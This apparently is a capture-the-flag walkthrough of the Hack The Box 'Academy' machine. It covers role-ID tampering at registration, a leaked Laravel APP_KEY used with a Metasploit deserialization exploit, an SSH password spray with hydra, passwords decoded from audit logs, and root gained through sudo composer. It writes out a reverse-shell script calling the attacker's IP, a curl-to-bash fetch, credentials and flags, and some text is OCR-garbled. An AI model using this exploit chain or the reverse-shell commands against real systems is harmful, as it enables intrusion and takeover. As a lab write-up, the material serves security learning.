Academy

10.129.53.84



InfoGathering

SCOPE

Hosts								
address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.10.10.215		10.10.10.215	Linux		4.X	server		
10.129.53.84			Linux		5.X	server		

SERVICES

Services					
host	port	proto	name	state	info
10.10.10.215 10.10.10.215 10.10.10.215	22 80 33060	tcp tcp tcp	ssh http mysql	open open open	SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1 Apache/2.4.41 (Ubuntu) (302-http://academy.htb/)
10.129.53.84 10.129.53.84 10.129.53.84	22 80 33060	tcp tcp tcp	ssh http mysqlx	open open open	OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 Ubuntu Linux; protocol 2.0 Apache httpd 2.4.41 (Ubuntu)

SSH

[+] 10.10.10.215:22 - SSH server version: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1

PORT STATE SERVICE
22/tcp open ssh
ssh-auth-methods:
Supported authentication methods:
publickey
_ password
ssh-hostkey:
3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
ssh-publickey-acceptance:
Accepted Public Keys: No public keys accepted

HTTP

HOME PAGE: <u>http://10.10.10.215</u> is forwarded too <u>http://academy.htb/</u> LOGIN PAGE: <u>http://academy.htb/admin.php</u> LOGIN PAGE: <u>http://academy.htb/login.php</u> REGISTER PAGE: <u>http://academy.htb/register.php</u>

[+] 10.10.10.215:80 Apache/2.4.41 (Ubuntu) (302-http://academy.htb/





MySQL [+] 10.10.10.215:33060

Gaining Access

I registered for an account at http://academy.htb/register.php

After registering I was able to sign in using the account I created which took me too <u>http://-academy.htb/home.php</u>

SCREENSHOT OF SIGN IN

😚 HTB ACADEMY		
	MODULES	
egre55 Free	All Fundamental Easy Medium Hard Search	All
Dashboard		
Modules All Modules In-Progress Modules Available Modules Owned Modules	Learning Process	Intro Aca
Deeft Manhalan		

I reviewed the HTTP requests in Burpsuite and noticed when I created my user there was a hidden Role ID value that was set to 0.

I signed out and created another user account setting the Role ID to a value of 1 by intercepting the registration request and changing the value manually

SCREENSHOT OF INTERCEPTED AND MODIFIED BURP REQUEST



After forwarding the requests I was able to sign into the admin.php uri

SCREENSHOT OF ADMIN.PHP ACCESS

Academy Launch Planner

Item	Status
Complete initial set of modules (cry0l1t3 / mrb3n)	done
Finalize website design	done
Test all modules	done
Prepare launch campaign	done
Separate student and admin roles	done
Fix issue with dev-staging-01.academy.htb	pending

Once signed in I discovered a new subdomain "**dev-staging-01.academy.htb**" which I then added to my hosts file

Another stand out piece of information is the two usernames cry0l1t3 and, mrb3n

SCREENSHOT OF NEW PAGE

HOME PAGE: <u>http://dev-staging-01.academy.htb/</u>



Looking at the environment variables I discovered a password for the MySQL database

SCREENSHOT EVIDENCE OF CLEAR TEXT SQL CREDS

Environment Variables	
APP_NAME	"Laravel"
APP_ENV	"local"
APP_KEY	"base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
APP_DEBUG	"true"
APP_URL	"http://localhost"
LOG_CHANNEL	"stack"
DB_CONNECTION	"mysql"
DB_HOST	"127.0.0.1"
DB_PORT	"3306"
DB_DATABASE	"homestead"
DB_USERNAME	"homestead"
DB_PASSWORD	"secret"

I ran a search on exploitdb for Laravel and discovered this app has a Metasploit RCE

#	Command	Exe	ecuted
se	earchsplo	oit	laravel

SCREENSHOT OF RESULTS

I used the Metasploit exploit and was able to gain access to the machine

Commands Executed
use exploit/unix/http/laravel_token_unserialize_exec
set RHOSTS 10.129.53.84
set VHOST dev-staging-01.academy.htb
set SSL false
set RPORT 80
set TARGETURI /
set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
set LHOST 10.10.14.83
set LPORT 1337

SCREENSHOT EVIDENCE OF SESSION

```
<u>msf6</u> exploit(
                                                      ) > run
[*] Started reverse TCP handler on 10.10.14.83:1337
[*] Command shell session 1 opened (10.10.14.83:1337 → 10.129.53.84:52258) at 2020-11-30 15:20:49 -0500
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@academy:/var/www/html/htb-academy-dev-01/public$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@academy:/var/www/html/htb-academy-dev-01/public$ hostname
hostname
academv
www-data@academy:/var/www/html/htb-academy-dev-01/public$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 :: 1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:ee:09 brd ff:ff:ff:ff:ff
    inet 10.129.53.84/16 brd 10.129.255.255 scope global dynamic ens160
       valid_lft 536sec preferred_lft 536sec
    inet6 dead:beef::250:56ff:feb9:ee09/64 scope global dynamic mngtmpaddr
       valid_lft 86241sec preferred_lft 14241sec
    inet6 fe80::250:56ff:feb9:ee09/64 scope link
       valid_lft forever preferred_lft forever
www-data@academy:/var/www/html/htb-academy-dev-01/public$
```

While enumerating with the www-data user I discovered a new clear text SQL password in / var/www/html/academy/.env

```
# Command Executed
cat /var/www/html/academy/.env
```

SCREENSHOT OF CLEAR TEXT PASSWORD

www-data@academy:/var/www/html/academy\$ cat .env cat .env APP_NAME=Laravel APP_ENV=local APP_ENV=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= APP_DEBUG=false APP_URL=http://localhost LOG_CHANNEL=stack DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=academy DB_USERNAME=dev DB_PASSWORD=mySup3rP4s5w0rd !!

This information is also accessible through fuzzing which I apparently did a poor job of to not notice LINK: http://10.129.53.84/academy/.env

SCREENSHOT OF THIS FILE VIEWED IN BROWSER



🚢 OsbornePro 🌐 GoDaddy 🖨 ProtonMail 🥝 Tresorit 🖨 Bitwarden

APP_NAME=Laravel APP_ENV=local APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= APP_DEBUG=false APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=academy DB_USERNAME=dev DB_PASSWORD=mySup3rP4s5w0rd!!

BROADCAST_DRIVER=log CACHE_DRIVER=file

I performed a password spray to see if the discovered password would work for any of the users in the home directory

Commands Executed
ls -l /home | awk '{print \$3}' # Make easy to copy and paste user list
Brute force SSH login
hydra -s 22 -L user.lst -p 'mySup3rP4s5w0rd!!' 10.129.53.84 -t 1 -V ssh

SCREENSHOT EVIDENCE OF SUCCESS

rootRkali:~/HTB/Boxes/Academy# hydra -s 22 -L user.lst -p 'mySup3rP4s5w0rd!!' 10.129.53.84 -t 1 -V ssh Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-30 15:55:38 [DATA] max 1 task per 1 server, overall 1 task, 6 login tries (l:6/p:1), ~6 tries per task [DATA] attacking ssh://10.129.53.84:22/ [ATTEMPT] target 10.129.53.84 - login "21y4d" - pass "mySup3rP4s5w0rd!!" - 1 of 6 [child 0] (0/0) [ATTEMPT] target 10.129.53.84 - login "ch4p" - pass "mySup3rP4s5w0rd!!" - 2 of 6 [child 0] (0/0) [ATTEMPT] target 10.129.53.84 - login "cry0l1t3" - pass "mySup3rP4s5w0rd!!" - 3 of 6 [child 0] (0/0) [22][ssh] host: 10.129.53.84 login: cry0l1t3 password: mySup3rP4s5w0rd!!" - 4 of 6 [child 0] (0/0) [ATTEMPT] target 10.129.53.84 - login "egre55" - pass "mySup3rP4s5w0rd!!" - 5 of 6 [child 0] (0/0) [ATTEMPT] target 10.129.53.84 - login "g0blin" - pass "mySup3rP4s5w0rd!!" - 5 of 6 [child 0] (0/0)

I was then able to su as cry0l1t3

Command Executed
su - cry0llt3
Password: mySup3rP4s5w0rd!!

I could then able to read the user flag

Command Executed

SCREENSHOT EVIDENCE OF FLAG

www-data@academy:/var/www/html/academy\$ su - cry0l1t3 su - cry0l1t3 Password: mySup3rP4s5w0rd!! \$ cat ~/user.txt

\$ cat ~/user.txt
cat ~/user.txt
9e1019d161a97d9c0bfd0abaa79344f2

USER FLAG: 9e1019d161a97d9c0bfd0abaa79344f2

PrivEsc

In checking my group membership I can see I am a member of the "adm" group which means I have permissions to /var/log files



Inside the directory /var/log/audit are the audit logs. The audit.log files can contain a "data" value which is in hexadecimal format.

I decoded the data values and discovered a possible password



I wrote a python script to convert hex to text

CONTENTS OF hex2text.py

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def hex2text(n):
    print(bytearray.fromhex(n).decode())
n = input("Enter the hexadecimal value you want to conver to text: ")
hex2text(n)
```

Using the python script I was able to discover the password for the mrb3n user

```
# Commands Executed
./hex2text.py
Enter Value: 7375206D7262336E0A
```

./hex2text.py
Enter Value: 6D7262336E5F41634064336D79210A

RESULTS
su mrb3n
mrb3n_Ac@d3my!

I was then able to su as the mrb3n user

Command Executed
su mrb3n
Password: mrb3n_Ac@d3my!

SCREENSHOT EVIDENCE OF NEW USER ACCESS

```
cry0l1t3@academy:/var/log/audit$ su mrb3n
Password:
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
$ hostname
academy
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:ee:09 brd ff:ff:ff:ff:ff:ff
    inet 10.129.53.84/16 brd 10.129.255.255 scope global dynamic ens160
       valid_lft 497sec preferred_lft 497sec
    inet6 dead:beef::250:56ff:feb9:ee09/64 scope global dynamic mngtmpaddr
       valid_lft 86072sec preferred_lft 14072sec
    inet6 fe80::250:56ff:feb9:ee09/64 scope link
       valid_lft forever preferred_lft forever
```

The mrb3n user has sudo permissions for the composer command

Commands Executed
sudo -l
Password: mrb3n_Ac@d3my!

SCREENSHOT EVIDENCE OF RESULTS

[sudo] password for mrb3n: Matching Defaults entries for mrb3n on academy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/snap/bin User mrb3n may run the following commands on academy: (ALL) /usr/bin/composer

Composer can be used to executed scripts. If I create a script to execute with sudo I will gain root access

RESOURCE: https://getcomposer.org/doc/articles/scripts.md

I create a composer.json file

CONTENTS OF composer.json

{	"scripts": "cmd": [{

I then created the rev.sh file

}

CONTENTS OF rev.sh

#!/bin/bash
nc -e /bin/bash 10.10.14.84 1338 || bash -i >& /dev/tcp/10.10.14.84/1338 0>&1 || rm /tmp/f;mkfifo /tmp/f;cat /
tmp/f|/bin/bash -i 2>&1|nc 10.10.14.84 1338 >/tmp/f

I then hosted a python3 simple http server in the same directory as the rev.sh file

Command Executed
python3 -m http.server 80
nc -lvnp 1338

SCREENSHOT EVIDENCE OF REV.SH EXECUTION

```
root@kali:/var/www/html# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.53.84 - - [30/Nov/2020 16:49:34] "GET /rev.sh HTTP/1.1" 200 -
```

On the target machine I then execute composer with sudo permissions

Command Executed
sudo composer cmd
Password: mrb3n_Ac@d3my!

SCREENSHOT EVIDENCE OF EXECUTED COMPOSER

mrb3n@academy:~\$ sudo composer cmd
[sudo] password for mrb3n:
PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/2019
0190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on
PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/2
lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) i
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> curl 10.10.14.83/rev.sh bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 174 100 174 0 0 1035 0 : : : : : 1029
nc: invalid option 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]

SCREENSHOT EVIDENCE OF SHELL

msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.83:1338 [*] Command shell session 3 opened (10.10.14.83:1338 → 10.129.53.84:43056) at 2020-11-30 16:49:34 -0500 root@academy:/home/mrb3n# id id uid=0(root) gid=0(root) groups=0(root) root@academy:/home/mrb3n# hostname hostname academy root@academy:/home/mrb3n# ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 :: 1/128 scope host valid_lft forever preferred_lft forever 2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:50:56:b9:ee:09 brd ff:ff:ff:ff:ff inet 10.129.53.84/16 brd 10.129.255.255 scope global dynamic ens160 valid_lft 417sec preferred_lft 417sec inet6 dead:beef::250:56ff:feb9:ee09/64 scope global dynamic mngtmpaddr valid_lft 86244sec preferred_lft 14244sec inet6 fe80::250:56ff:feb9:ee09/64 scope link valid_lft forever preferred_lft forever

I was then able to read the root flag

Command Executed
cat /root/root.txt
RESULTS
flde760bbefe6003ed61880707cef361

SCREENSHOT EVIDENCE OF ROOT FLAG

root@academy:/home/mrb3n# cat /root/root.txt
cat /root/root.txt
f1de760bbefe6003ed61880707cef361

ROOT FLAG: f1de760bbefe6003ed61880707cef361